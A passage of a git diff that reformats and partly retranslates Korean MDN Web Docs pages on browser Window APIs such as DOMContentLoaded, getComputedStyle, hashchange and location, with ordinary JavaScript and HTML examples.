@@ -133,7 +133,7 @@ If the MASK bit was set (and it should be, for client-to-server messages), read
 ```js
 var DECODED = "";
 for (var i = 0; i < ENCODED.length; i++) {
-    DECODED[i] = ENCODED[i] ^ MASK[i % 4];
+  DECODED[i] = ENCODED[i] ^ MASK[i % 4];
 }
 ```
 
diff --git a/files/ko/web/api/window/alert/index.md b/files/ko/web/api/window/alert/index.md
index 211338873ecefa..852fb7fddc535f 100644
--- a/files/ko/web/api/window/alert/index.md
+++ b/files/ko/web/api/window/alert/index.md
@@ -2,6 +2,7 @@
 title: Window.alert()
 slug: Web/API/Window/alert
 ---
+
 {{APIRef}}
 
 **`Window.alert()`** 메서드는 확인 버튼을 가지며 메시지를 지정할 수 있는 경고 대화 상자를 띄웁니다.
diff --git a/files/ko/web/api/window/beforeunload_event/index.md b/files/ko/web/api/window/beforeunload_event/index.md
index 331a6b0afc6b70..41a8f0725dbfea 100644
--- a/files/ko/web/api/window/beforeunload_event/index.md
+++ b/files/ko/web/api/window/beforeunload_event/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Window: beforeunload 이벤트'
+title: "Window: beforeunload 이벤트"
 slug: Web/API/Window/beforeunload_event
 l10n:
   sourceCommit: 73b724ad82b94d2a4c314924218367cea2740e97
diff --git a/files/ko/web/api/window/cancelanimationframe/index.md b/files/ko/web/api/window/cancelanimationframe/index.md
index cb87cd3226b771..c11261e64c0985 100644
--- a/files/ko/web/api/window/cancelanimationframe/index.md
+++ b/files/ko/web/api/window/cancelanimationframe/index.md
@@ -2,6 +2,7 @@
 title: window.cancelAnimationFrame()
 slug: Web/API/Window/cancelAnimationFrame
 ---
+
 {{APIRef}}
 
 **`window.cancelAnimationFrame()`** 메소드는 이전에 {{domxref("window.requestAnimationFrame()")}} 을 호출하여 스케줄된 애니메이션 프레임 요청을 취소합니다.
@@ -20,18 +21,22 @@ window.cancelAnimationFrame(requestID);
 ## 예시
 
 ```js
-var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||
-                            window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;
+var requestAnimationFrame =
+  window.requestAnimationFrame ||
+  window.mozRequestAnimationFrame ||
+  window.webkitRequestAnimationFrame ||
+  window.msRequestAnimationFrame;
 
-var cancelAnimationFrame = window.cancelAnimationFrame || window.mozCancelAnimationFrame;
+var cancelAnimationFrame =
+  window.cancelAnimationFrame || window.mozCancelAnimationFrame;
 
-var start = window.mozAnimationStartTime;  // Firefox 에서만 지원됨. 다른 브라우저에서는 Date.now() 같은 것을 사용할 수 있음.
+var start = window.mozAnimationStartTime; // Firefox 에서만 지원됨. 다른 브라우저에서는 Date.now() 같은 것을 사용할 수 있음.
 
 var myReq;
 
 function step(timestamp) {
   var progress = timestamp - start;
-  d.style.left = Math.min(progress / 10, 200) + 'px';
+  d.style.left = Math.min(progress / 10, 200) + "px";
   if (progress < 2000) {
     myReq = requestAnimationFrame(step);
   }
diff --git a/files/ko/web/api/window/closed/index.md b/files/ko/web/api/window/closed/index.md
index 861e01ae3fd19e..519c03b513f4b8 100644
--- a/files/ko/web/api/window/closed/index.md
+++ b/files/ko/web/api/window/closed/index.md
@@ -26,7 +26,7 @@ const isClosed = windowRef.closed;
 ```js
 // Check that an opener exists and is not closed
 if (window.opener && !window.opener.closed) {
-  window.opener.location.href = 'http://www.mozilla.org';
+  window.opener.location.href = "http://www.mozilla.org";
 }
 ```
 
@@ -45,7 +45,7 @@ function refreshPopupWindow() {
     popupWindow.location.reload(true);
   } else {
     // Open a new popup window
-    popupWindow = window.open('popup.html', 'dataWindow');
+    popupWindow = window.open("popup.html", "dataWindow");
   }
 }
 ```
diff --git a/files/ko/web/api/window/confirm/index.md b/files/ko/web/api/window/confirm/index.md
index 79b21bd724af27..6b256c14125c49 100644
--- a/files/ko/web/api/window/confirm/index.md
+++ b/files/ko/web/api/window/confirm/index.md
@@ -2,6 +2,7 @@
 title: Window.confirm()
 slug: Web/API/Window/confirm
 ---
+
 {{ApiRef("Window")}}
 
 **`Window.confirm()`** 메서드는 확인과 취소 두 버튼을 가지며 메시지를 지정할 수 있는 모달 대화 상자를 띄웁니다.
diff --git a/files/ko/web/api/window/copy_event/index.md b/files/ko/web/api/window/copy_event/index.md
index 3477fc828d01bd..60ecffa0e25cf7 100644
--- a/files/ko/web/api/window/copy_event/index.md
+++ b/files/ko/web/api/window/copy_event/index.md
@@ -1,7 +1,8 @@
 ---
-title: 'Window: copy 이벤트'
+title: "Window: copy 이벤트"
 slug: Web/API/Window/copy_event
 ---
+
 {{APIRef}}
 
 **`copy`** 이벤트는 사용자가 브라우저의 사용자 인터페이스를 통해 복사했을 때 발생합니다.
@@ -32,8 +33,8 @@ slug: Web/API/Window/copy_event
 ## 예제
 
 ```js
-window.addEventListener('copy', (event) => {
-    console.log('복사 동작 실행')
+window.addEventListener("copy", (event) => {
+  console.log("복사 동작 실행");
 });
 ```
 
diff --git a/files/ko/web/api/window/customelements/index.md b/files/ko/web/api/window/customelements/index.md
index 20ad4f3138be0c..6cdd1d403c5c54 100644
--- a/files/ko/web/api/window/customelements/index.md
+++ b/files/ko/web/api/window/customelements/index.md
@@ -13,23 +13,25 @@ slug: Web/API/Window/customElements
 
 ```js
 let customElementRegistry = window.customElements;
-customElementRegistry.define('my-custom-element', MyCustomElement);
+customElementRegistry.define("my-custom-element", MyCustomElement);
 ```
 
 그러나, 보통은 다음 코드처럼 줄여서 사용하곤 합니다.
 
 ```js
-customElements.define('element-details',
+customElements.define(
+  "element-details",
   class extends HTMLElement {
     constructor() {
       super();
-      const template = document
-        .getElementById('element-details-template')
-        .content;
-      const shadowRoot = this.attachShadow({mode: 'open'})
-        .appendChild(template.cloneNode(true));
+      const template = document.getElementById(
+        "element-details-template",
+      ).content;
+      const shadowRoot = this.attachShadow({ mode: "open" }).appendChild(
+        template.cloneNode(true),
+      );
     }
-  }
+  },
 );
 ```
 
diff --git a/files/ko/web/api/window/cut_event/index.md b/files/ko/web/api/window/cut_event/index.md
index 97da9e21eb9ba4..7d5d4332d95761 100644
--- a/files/ko/web/api/window/cut_event/index.md
+++ b/files/ko/web/api/window/cut_event/index.md
@@ -1,7 +1,8 @@
 ---
-title: 'Window: cut 이벤트'
+title: "Window: cut 이벤트"
 slug: Web/API/Window/cut_event
 ---
+
 {{APIRef}}
 
 **`cut`** 이벤트는 사용자가 브라우저의 사용자 인터페이스를 통해 복사했을 때 발생합니다.
@@ -32,8 +33,8 @@ slug: Web/API/Window/cut_event
 ## 예제
 
 ```js
-window.addEventListener('cut', (event) => {
-    console.log('잘라내기 동작 실행')
+window.addEventListener("cut", (event) => {
+  console.log("잘라내기 동작 실행");
 });
 ```
 
diff --git a/files/ko/web/api/window/devicepixelratio/index.md b/files/ko/web/api/window/devicepixelratio/index.md
index cfa533a8582c35..cd795c369ecf2f 100644
--- a/files/ko/web/api/window/devicepixelratio/index.md
+++ b/files/ko/web/api/window/devicepixelratio/index.md
@@ -2,6 +2,7 @@
 title: Window.devicePixelRatio
 slug: Web/API/Window/devicePixelRatio
 ---
+
 {{APIRef}}
 
 {{domxref("Window")}} 인터페이스의 **`devicePixelRatio`** 읽기 전용 속성은 현재 표시 장치의 물리적 픽셀과 CSS 픽셀의 비율을 반환합니다. CSS 픽셀의 크기를 물리적 픽셀의 크기로 나눈 값으로 해석해도 됩니다. 또 다른 해석은, 하나의 CSS 픽셀을 그릴 때 사용해야 하는 장치 픽셀의 수라고 할 수 있습니다.
@@ -13,7 +14,7 @@ slug: Web/API/Window/devicePixelRatio
 ## 구문
 
 ```js
-value = window.devicePixelRatio
+value = window.devicePixelRatio;
 ```
 
 ## 예제
@@ -31,8 +32,8 @@ A {{htmlelement("canvas")}} can appear too blurry on retina screens. Use `window
 #### JavaScript
 
 ```js
-var canvas = document.getElementById('canvas');
-var ctx = canvas.getContext('2d');
+var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
 
 // Set display size (css pixels).
 var size = 200;
@@ -50,9 +51,9 @@ ctx.scale(scale, scale);
 ctx.fillStyle = "#bada55";
 ctx.fillRect(10, 10, 300, 300);
 ctx.fillStyle = "#ffffff";
-ctx.font = '18px Arial';
-ctx.textAlign = 'center';
-ctx.textBaseline = 'middle';
+ctx.font = "18px Arial";
+ctx.textAlign = "center";
+ctx.textBaseline = "middle";
 
 var x = size / 2;
 var y = size / 2;
@@ -79,7 +80,7 @@ const updatePixelRatio = () => {
   let pr = window.devicePixelRatio;
   let prString = (pr * 100).toFixed(0);
   pixelRatioBox.innerText = `${prString}% (${pr.toFixed(2)})`;
-}
+};
 
 updatePixelRatio();
 
@@ -99,12 +100,14 @@ The HTML creates the boxes containing the instructions and the `pixel-ratio` box
 ```html
 <div class="container">
   <div class="inner-container">
-    <p>This example demonstrates the effect of zooming the page in
-       and out (or moving it to a screen with a different scaling
-       factor) on the value of the property <code>Window.devicePixelRatio</code>.
-       Try it and watch what happens!</p>
+    <p>
+      This example demonstrates the effect of zooming the page in and out (or
+      moving it to a screen with a different scaling factor) on the value of the
+      property <code>Window.devicePixelRatio</code>. Try it and watch what
+      happens!
+    </p>
   </div>
-    <div class="pixel-ratio"></div>
+  <div class="pixel-ratio"></div>
 </div>
 ```
 
diff --git a/files/ko/web/api/window/domcontentloaded_event/index.md b/files/ko/web/api/window/domcontentloaded_event/index.md
index 0c120592a18f80..5e64a1f63a4aa1 100644
--- a/files/ko/web/api/window/domcontentloaded_event/index.md
+++ b/files/ko/web/api/window/domcontentloaded_event/index.md
@@ -1,29 +1,44 @@
 ---
-title: DOMContentLoaded
+title: "Window: DOMContentLoaded 이벤트"
+short-title: DOMContentLoaded
 slug: Web/API/Window/DOMContentLoaded_event
-original_slug: Web/Events/DOMContentLoaded
+l10n:
+  sourceCommit: cc070123f72376faec06e36622c4fc723a75325f
 ---
+
 {{APIRef}}
 
-**`DOMContentLoaded`** 이벤트는 초기 HTML 문서를 완전히 불러오고 분석했을 때 발생합니다. 스타일 시트, 이미지, 하위 프레임의 로딩은 기다리지 않습니다.
+**`DOMContentLoaded`** 이벤트는 HTML 문서가 완전히 구문 분석되고 모든 지연된 스크립트(`<script defer src="…">`와 `<script type="module">`)가 다운로드되고 실행될 때 발생합니다. 이미지, 서브프레임, 비동기 스크립트와 같은 다른 항목의 로드가 끝날 때까지 기다리지 않습니다.
+
+`DOMContentLoaded`는 스타일시트의 로드를 기다리지 않습니다. 하지만 지연된 스크립트는 스타일시트를 기다리며 `DOMContentLoaded` 이벤트는 지연된 스크립트 이후에 대기열로 추가됩니다. 또한, 지연되지 않거나 비동기가 아닌 스크립트(예: `<script>`)는 이미 구문 분석된 스타일시트가 로드될 때까지 기다립니다.
+
+이 이벤트의 원래 대상은 로드된 {{domxref("Document", "문서")}}입니다. `Window` 인터페이스에서 이 이벤트를 수신하여 캡처 혹은 버블링 단계에서 다룰 수 있습니다. 이 이벤트에 대한 자세한 설명은 {{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}} 페이지를 참조하시길 바랍니다.
 
-| 확산               | 예                                                              |
-| ------------------ | --------------------------------------------------------------- |
-| 취소 가능          | 예 (although specified as a simple event that isn't cancelable) |
-| 인터페이스         | {{domxref("Event")}}                                    |
-| 이벤트 처리기 속성 | 아니오                                                          |
+다른 이벤트인 {{domxref("Window/load_event", "load")}}는 오직 완전히 로드된 페이지를 감지할 때만 사용되어야 합니다. `DOMContentLoaded`가 더 적절한 위치에서 `load`를 사용하는 것은 흔한 실수입니다.
 
-`DOMContentLoaded`의 원본 대상은 다 불러온 {{domxref("Document")}}입니다. You can listen for this event on the `Window` interface to handle it in the capture or bubbling phases. For full details on this event please see the page on the Document: {{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}} event.
+이 이벤트는 취소할 수 없습니다.
 
-A different event, {{domxref("Window/load_event", "load")}}, should be used only to detect a fully-loaded page. It is a common mistake to use `load` where `DOMContentLoaded` would be more appropriate.
+## 구문
+
+{{domxref("EventTarget.addEventListener", "addEventListener()")}}와 같은 메서드에서 이벤트 이름을 사용하거나 이벤트 핸들러 속성을 설정합니다.
+
+```js
+addEventListener("DOMContentLoaded", (event) => {});
+
+onDOMContentLoaded = (event) => {};
+```
+
+## 이벤트 타입
+
+제네릭 {{domxref("Event", "이벤트")}}.
 
 ## 예제
 
 ### 기본 용도
 
 ```js
-window.addEventListener('DOMContentLoaded', (event) => {
-    console.log('DOM fully loaded and parsed');
+window.addEventListener("DOMContentLoaded", (event) => {
+  console.log("DOM fully loaded and parsed");
 });
 ```
 
@@ -37,5 +52,6 @@ window.addEventListener('DOMContentLoaded', (event) => {
 
 ## 같이 보기
 
-- Related events: {{domxref("Window/load_event", "load")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}}
-- This event on {{domxref("Document")}} targets: {{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}
+- 관련된 이벤트: {{domxref("Window/load_event", "load")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}}
+
+- {{domxref("Document", "문서")}} 대상에 대한 이벤트: {{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}
diff --git a/files/ko/web/api/window/frameelement/index.md b/files/ko/web/api/window/frameelement/index.md
index cfdbbca1b82e11..3f9867a86c44e5 100644
--- a/files/ko/web/api/window/frameelement/index.md
+++ b/files/ko/web/api/window/frameelement/index.md
@@ -2,6 +2,7 @@
 title: Window.frameElement
 slug: Web/API/Window/frameElement
 ---
+
 {{ApiRef}}
 
 **`Window.frameElement`** 속성은 {{HTMLElement("iframe")}}이나 {{HTMLElement("object")}}처럼 현재 창을 포함한 요소를 반환합니다. 창이 다른 문서에 포함된 것이 아니거나, 문서의 출처가 다른 경우, 즉 창과 해당 문서의 도메인이 서로 다른 경우 {{jsxref("null")}}을 반환합니다.
@@ -14,7 +15,7 @@ slug: Web/API/Window/frameElement
 var frameEl = window.frameElement;
 // If we're embedded, change the containing element's URL to 'http://mozilla.org/'
 if (frameEl) {
-  frameEl.src = 'http://mozilla.org/';
+  frameEl.src = "http://mozilla.org/";
 }
 ```
 
diff --git a/files/ko/web/api/window/getcomputedstyle/index.md b/files/ko/web/api/window/getcomputedstyle/index.md
index 33dd8cc1d06515..943cc504a04c89 100644
--- a/files/ko/web/api/window/getcomputedstyle/index.md
+++ b/files/ko/web/api/window/getcomputedstyle/index.md
@@ -2,6 +2,7 @@
 title: Window.getComputedStyle()
 slug: Web/API/Window/getComputedStyle
 ---
+
 {{APIRef}}
 
 `Window.getComputedStyle()` 메소드는 인자로 전달받은 요소의 모든 CSS 속성값을 담은 객체를 회신합니다. 이 속성값들은, 해당 요소에 대하여 활성 스타일시트와 속성값에 대한 기본 연산이 모두 반영된 결과값입니다. 개별 CSS속성 값은 객체를 통해 제공되는 API 또는 CSS 속성 이름을 사용해서 간단히 색인화해서 액세스할 수 있습니다.
@@ -42,9 +43,14 @@ p {
 ```
 
 ```js
-let para = document.querySelector('p');
+let para = document.querySelector("p");
 let compStyles = window.getComputedStyle(para);
-para.textContent = 'My computed font-size is ' + compStyles.getPropertyValue('font-size') + ',\nand my computed line-height is ' + compStyles.getPropertyValue('line-height') + '.';
+para.textContent =
+  "My computed font-size is " +
+  compStyles.getPropertyValue("font-size") +
+  ",\nand my computed line-height is " +
+  compStyles.getPropertyValue("line-height") +
+  ".";
 ```
 
 ### 결과
@@ -67,18 +73,18 @@ getComputedStyle은 의사요소(pseudo-elements, `::after`, `::before`, `::mark
 
 ```html
 <style>
- h3::after {
-   content: ' rocks!';
- }
+  h3::after {
+    content: " rocks!";
+  }
 </style>
 
 <h3>generated content</h3>
 
 <script>
-  var h3       = document.querySelector('h3');
-  var result   = getComputedStyle(h3, ':after').content;
+  var h3 = document.querySelector("h3");
+  var result = getComputedStyle(h3, ":after").content;
 
-  console.log('the generated content is: ', result); // returns ' rocks!'
+  console.log("the generated content is: ", result); // returns ' rocks!'
 </script>
 ```
 
diff --git a/files/ko/web/api/window/getselection/index.md b/files/ko/web/api/window/getselection/index.md
index 9d0da5c15e64ed..d3c8fb69707d80 100644
--- a/files/ko/web/api/window/getselection/index.md
+++ b/files/ko/web/api/window/getselection/index.md
@@ -21,10 +21,10 @@ selection = window.getSelection();
 
 ```js
 function foo() {
-    var selObj = window.getSelection();
-    alert(selObj);
-    var selRange = selObj.getRangeAt(0);
-    // do stuff with the range
+  var selObj = window.getSelection();
+  alert(selObj);
+  var selRange = selObj.getRangeAt(0);
+  // do stuff with the range
 }
 ```
 
@@ -34,7 +34,7 @@ function foo() {
 
 JavaScript에서 문자열을 인자로 받는 함수({{ Domxref("window.alert()") }} 나 {{ Domxref("document.write()") }} 같은)에 객체를 전달하면 해당 객체의 {{jsxref("Object.toString", "toString()")}} 메소드를 호출하고 그 결과를 호출한 함수로 전달합니다. 이를 통해서 실제로는 속성과 메소드를 갖는 문자열이 아닌 일반적인 객체라 하더라도 문자열을 인자로 받는 함수의 인자로 사용할 때에는 객체를 문자열인 것처럼 전달할 수 있습니다.
 
-위 예제에서 selObj를 {{domxref("window.alert()")}}의 인자로 전달하면 `selObj.toString()`가 자동적으로 호출됩니다. 하지만, selObj에 대해서 [`length`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length) 나 [`substr`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr) 같은 JavaScript [String](/ko/docs/Web/JavaScript/Reference/Global_Objects/String)의 속성이나 메소드를 사용하면 객체에 그러한 속성이나 메소드가 없기 때문에 에러나 예상치 못한 결과가 발생합니다. `Selection` 객체를 문자열로 사용하려면 다음처럼 직접 `toString()` 메소드를 호출해야 합니다:
+위 예제에서 selObj를 {{domxref("window.alert()")}}의 인자로 전달하면 `selObj.toString()`가 자동적으로 호출됩니다. 하지만, selObj에 대해서 [`length`](/ko/docs/Web/JavaScript/Reference/Global_Objects/String/length) 나 [`substr`](/ko/docs/Web/JavaScript/Reference/Global_Objects/String/substr) 같은 JavaScript [String](/ko/docs/Web/JavaScript/Reference/Global_Objects/String)의 속성이나 메소드를 사용하면 객체에 그러한 속성이나 메소드가 없기 때문에 에러나 예상치 못한 결과가 발생합니다. `Selection` 객체를 문자열로 사용하려면 다음처럼 직접 `toString()` 메소드를 호출해야 합니다:
 
 <pre class="brush:js;gutter:false;">var selectedText = selObj.toString();</pre>
 
diff --git a/files/ko/web/api/window/hashchange_event/index.md b/files/ko/web/api/window/hashchange_event/index.md
index 8ebda62b36f958..4d87f2a7d489c3 100644
--- a/files/ko/web/api/window/hashchange_event/index.md
+++ b/files/ko/web/api/window/hashchange_event/index.md
@@ -21,7 +21,7 @@ window.onhashchange = funcRef;
 **HTML event handler:**
 
 ```html
-<body onhashchange="funcRef();">
+<body onhashchange="funcRef();"></body>
 ```
 
 **event listener:**
@@ -45,7 +45,7 @@ This example uses an event handler (`window.onhashchange`) to check the new hash
 
 ```js
 function locationHashChanged() {
-  if (location.hash === '#cool-feature') {
+  if (location.hash === "#cool-feature") {
     console.log("You're visiting a cool feature!");
   }
 }
@@ -59,10 +59,10 @@ window.onhashchange = locationHashChanged;
 
 ```js
 function hashHandler() {
-  console.log('The hash has changed!');
+  console.log("The hash has changed!");
 }
 
-window.addEventListener('hashchange', hashHandler, false);
+window.addEventListener("hashchange", hashHandler, false);
 ```
 
 ### Overriding the hash
@@ -71,7 +71,7 @@ window.addEventListener('hashchange', hashHandler, false);
 
 ```js
 function changeHash() {
-  location.hash = (Math.random() > 0.5) ? 'location1' : 'location2';
+  location.hash = Math.random() > 0.5 ? "location1" : "location2";
 }
 ```
 
@@ -79,8 +79,8 @@ function changeHash() {
 
 `hashchange` 이벤트에는 다음과 같은 필드가 있습니다:
 
-| Field    | Type        | Description             |
-| -------- | ----------- | ----------------------- |
+| Field    | Type        | Description                |
+| -------- | ----------- | -------------------------- |
 | `newURL` | `DOMString` | 탐색할 새로운 URL입니다.   |
 | `oldURL` | `DOMString` | 탐색했던 이전의 URL입니다. |
 
@@ -88,14 +88,23 @@ function changeHash() {
 
 ```js
 //let this snippet run before your hashchange event binding code
-if(!window.HashChangeEvent)(function(){
-  var lastURL=document.URL;
-  window.addEventListener("hashchange",function(event){
-    Object.defineProperty(event,"oldURL",{enumerable:true,configurable:true,value:lastURL});
-    Object.defineProperty(event,"newURL",{enumerable:true,configurable:true,value:document.URL});
-    lastURL=document.URL;
-  });
-}());
+if (!window.HashChangeEvent)
+  (function () {
+    var lastURL = document.URL;
+    window.addEventListener("hashchange", function (event) {
+      Object.defineProperty(event, "oldURL", {
+        enumerable: true,
+        configurable: true,
+        value: lastURL,
+      });
+      Object.defineProperty(event, "newURL", {
+        enumerable: true,
+        configurable: true,
+        value: document.URL,
+      });
+      lastURL = document.URL;
+    });
+  })();
 ```
 
 ## 명세
@@ -108,7 +117,7 @@ if(!window.HashChangeEvent)(function(){
 
 ## See also
 
-- [`hashchange`](/en-US/docs/Web/API/Window/hashchange_event) event
+- [`hashchange`](/ko/docs/Web/API/Window/hashchange_event) event
 - [Manipulating the browser history](/ko/docs/DOM/Manipulating_the_browser_history)
 - [`history.pushState()` and `history.replaceState()`](/ko/docs/DOM/window.history) methods
 - {{domxref("WindowEventHandlers.onpopstate")}}
diff --git a/files/ko/web/api/window/history/index.md b/files/ko/web/api/window/history/index.md
index a5f20a70dd2385..16fcb566013366 100644
--- a/files/ko/web/api/window/history/index.md
+++ b/files/ko/web/api/window/history/index.md
@@ -2,6 +2,7 @@
 title: Window.history
 slug: Web/API/Window/history
 ---
+
 {{APIRef}}
 
 `Window.history` 읽기 전용 속성은 {{domxref("History")}} 객체로의 참조를 반환합니다. History 객체는 브라우저의 세션 기록(현재 페이지를 불러온 탭 혹은 프레임이 방문했던 페이지)을 조작할 때 사용합니다.
@@ -11,8 +12,8 @@ slug: Web/API/Window/history
 ## 예제
 
 ```js
-history.back();     // 뒤로 가기 버튼 클릭과 동일
-history.go(-1);     // history.back()과 동일
+history.back(); // 뒤로 가기 버튼 클릭과 동일
+history.go(-1); // history.back()과 동일
 ```
 
 ## 참고
diff --git a/files/ko/web/api/window/index.md b/files/ko/web/api/window/index.md
index eb0f8e1586e649..cb59808c79cdf9 100644
--- a/files/ko/web/api/window/index.md
+++ b/files/ko/web/api/window/index.md
@@ -182,7 +182,7 @@ l10n:
 - {{domxref("Window.confirm()")}}
   - : 사용자가 응답해야 하는 대화 상자를 표시합니다.
 - {{domxref("createImageBitmap", "Window.createImageBitmap()")}}
-  - : 다양한 종류의 이미지를 받고, {{domxref("ImageBitmap")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다. 선택 사항으로, 원본 이미지를 *(sx, sy)* 의 원점에서 너비 sw, 높이 sh만큼 자를 수 있습니다.
+  - : 다양한 종류의 이미지를 받고, {{domxref("ImageBitmap")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다. 선택 사항으로, 원본 이미지를 _(sx, sy)_ 의 원점에서 너비 sw, 높이 sh만큼 자를 수 있습니다.
 - {{domxref("EventTarget.dispatchEvent", "Window.dispatchEvent()")}}
   - : 이벤트를 발동합니다.
 - {{domxref("Window.dump()")}} {{Non-standard_Inline}}
diff --git a/files/ko/web/api/window/load_event/index.md b/files/ko/web/api/window/load_event/index.md
index 6a05418898f1ac..acae76124b48aa 100644
--- a/files/ko/web/api/window/load_event/index.md
+++ b/files/ko/web/api/window/load_event/index.md
@@ -12,7 +12,7 @@ original_slug: Web/Events/load
 
 ```html
 <script>
-  window.addEventListener("load", function(event) {
+  window.addEventListener("load", function (event) {
     console.log("All resources finished loading!");
   });
 </script>
@@ -23,7 +23,7 @@ original_slug: Web/Events/load
 ```html
 <script>
   var script = document.createElement("script");
-  script.addEventListener("load", function(event) {
+  script.addEventListener("load", function (event) {
     console.log("Script finished loading and executing");
   });
   script.src = "http://example.com/example.js";
@@ -49,14 +49,14 @@ original_slug: Web/Events/load
 
 ## 속성
 
-| 속성                                  | 타입                                   | 설명                                                                                                          |
-| ------------------------------------- | -------------------------------------- | ------------------------------------------------------------------------------------------------------------- |
-| `target` {{readonlyInline}}     | `{{domxref("EventTarget")}}` | The event target (the topmost target in the DOM tree).                                                        |
-| `type` {{readonlyInline}}       | `{{domxref("DOMString")}}`     | The type of event.                                                                                            |
-| `bubbles` {{readonlyInline}}    | `{{domxref("Boolean")}}`         | Whether the event normally bubbles or not.                                                                    |
-| `cancelable` {{readonlyInline}} | `{{domxref("Boolean")}}`         | Whether the event is cancellable or not.                                                                      |
+| 속성                            | 타입                         | 설명                                                                                     |
+| ------------------------------- | ---------------------------- | ---------------------------------------------------------------------------------------- |
+| `target` {{readonlyInline}}     | `{{domxref("EventTarget")}}` | The event target (the topmost target in the DOM tree).                                   |
+| `type` {{readonlyInline}}       | `{{domxref("DOMString")}}`   | The type of event.                                                                       |
+| `bubbles` {{readonlyInline}}    | `{{domxref("Boolean")}}`     | Whether the event normally bubbles or not.                                               |
+| `cancelable` {{readonlyInline}} | `{{domxref("Boolean")}}`     | Whether the event is cancellable or not.                                                 |
 | `view` {{readonlyInline}}       | `{{domxref("WindowProxy")}}` | `{{domxref("Document.defaultView", "document.defaultView")}}` (`window` of the document) |
-| `detail` {{readonlyInline}}     | `long` (`float`)                       | 0.                                                                                                            |
+| `detail` {{readonlyInline}}     | `long` (`float`)             | 0.                                                                                       |
 
 ## 명세서
 
diff --git a/files/ko/web/api/window/localstorage/index.md b/files/ko/web/api/window/localstorage/index.md
index 1546dd24176059..0bb751a0678d97 100644
--- a/files/ko/web/api/window/localstorage/index.md
+++ b/files/ko/web/api/window/localstorage/index.md
@@ -31,19 +31,19 @@ myStorage = window.localStorage;
 아래 코드는 현재 도메인의 로컬 {{domxref("Storage")}} 객체에 접근한 후, {{domxref("Storage.setItem()")}}을 사용해 항목 하나를 추가합니다.
 
 ```js
-localStorage.setItem('myCat', 'Tom');
+localStorage.setItem("myCat", "Tom");
 ```
 
 위에서 추가한 `localStorage` 항목을 읽는 법은 다음과 같습니다.
 
 ```js
-const cat = localStorage.getItem('myCat');
+const cat = localStorage.getItem("myCat");
 ```
 
 그리고 제거는 아래와 같습니다.
 
 ```js
-localStorage.removeItem('myCat');
+localStorage.removeItem("myCat");
 ```
 
 `localStorage` 항목의 전체 제거 구문입니다.
diff --git a/files/ko/web/api/window/location/index.md b/files/ko/web/api/window/location/index.md
index 88818831e125f8..c4dca87baf501e 100644
--- a/files/ko/web/api/window/location/index.md
+++ b/files/ko/web/api/window/location/index.md
@@ -2,6 +2,7 @@
 title: Window.location
 slug: Web/API/Window/location
 ---
+
 {{APIRef}}
 
 **`Window.location`** 프로퍼티에 접근하면 읽기 전용인 {{domxref("Location")}} 오브젝트를 얻어올 수 있습니다. 이는 현재 도큐먼트의 로케이션에 대한 정보를 담고 있습니다.
@@ -20,7 +21,7 @@ location = newLocation;
 ### Basic Example
 
 ```js
-alert(location); // alerts "https://developer.mozilla.org/en-US/docs/Web/API/Window.location"
+alert(location); // alerts "https://developer.mozilla.org/ko/docs/Web/API/Window.location"
 ```
 
 ### 예제 #1: 새 페이지로 이동하기
@@ -45,19 +46,29 @@ Consider the following example, which will reload the page by using the [`replac
 ```js
 function reloadPageWithHash() {
   var initialPage = location.pathname;
-  location.replace('http://example.com/#' + initialPage);
+  location.replace("http://example.com/#" + initialPage);
 }
 ```
 
 > **참고:** The example above works in situations where `location.hash` does not need to be retained. However, in Gecko-based browsers, setting `location.pathname` in this manner will erase any information in `location.hash`, whereas in WebKit (and possibly other browsers), setting the pathname will not alter the hash. If you need to change pathname but keep the hash as is, use the `replace()` method instead, which should work consistently across browsers.
 
-### 예제 #4: Display the properties of the current URL in an alert dialog:
+### 예제 #4: Display the properties of the current URL in an alert dialog
 
 ```js
 function showLoc() {
-  var oLocation = location, aLog = ["Property (Typeof): Value", "location (" + (typeof oLocation) + "): " + oLocation ];
-  for (var sProp in oLocation){
-    aLog.push(sProp + " (" + (typeof oLocation[sProp]) + "): " +  (oLocation[sProp] || "n/a"));
+  var oLocation = location,
+    aLog = [
+      "Property (Typeof): Value",
+      "location (" + typeof oLocation + "): " + oLocation,
+    ];
+  for (var sProp in oLocation) {
+    aLog.push(
+      sProp +
+        " (" +
+        typeof oLocation[sProp] +
+        "): " +
+        (oLocation[sProp] || "n/a"),
+    );
   }
   alert(aLog.join("\n"));
 }
@@ -65,10 +76,10 @@ function showLoc() {
 // in html: <button onclick="showLoc();">Show location properties</button>
 ```
 
-### 예제 #5: Send a string of data to the server by modifying the `search` property:
+### 예제 #5: Send a string of data to the server by modifying the `search` property
 
 ```js
-function sendData (sData) {
+function sendData(sData) {
   location.search = sData;
 }
 
@@ -77,62 +88,294 @@ function sendData (sData) {
 
 The current URL with "?Some%20data" appended is sent to the server (if no action is taken by the server, the current document is reloaded with the modified search string).
 
-### 예제 #6: Using bookmarks without changing the `hash` property:
+### 예제 #6: Using bookmarks without changing the `hash` property
 
 ```html
 <!doctype html>
 <html>
-<head>
-<meta charset="UTF-8"/>
-<title>MDN Example</title>
-<script>
-function showNode (oNode) {
-  var nLeft = 0, nTop = 0;
-  for (var oItNode = oNode; oItNode; nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent);
-  document.documentElement.scrollTop = nTop;
-  document.documentElement.scrollLeft = nLeft;
-}
-
-function showBookmark (sBookmark, bUseHash) {
-  if (arguments.length === 1 || bUseHash) { location.hash = sBookmark; return; }
-  var oBookmark = document.querySelector(sBookmark);
-  if (oBookmark) { showNode(oBookmark); }
-}
-</script>
-<style>
-span.intLink {
-    cursor: pointer;
-    color: #0000ff;
-    text-decoration: underline;
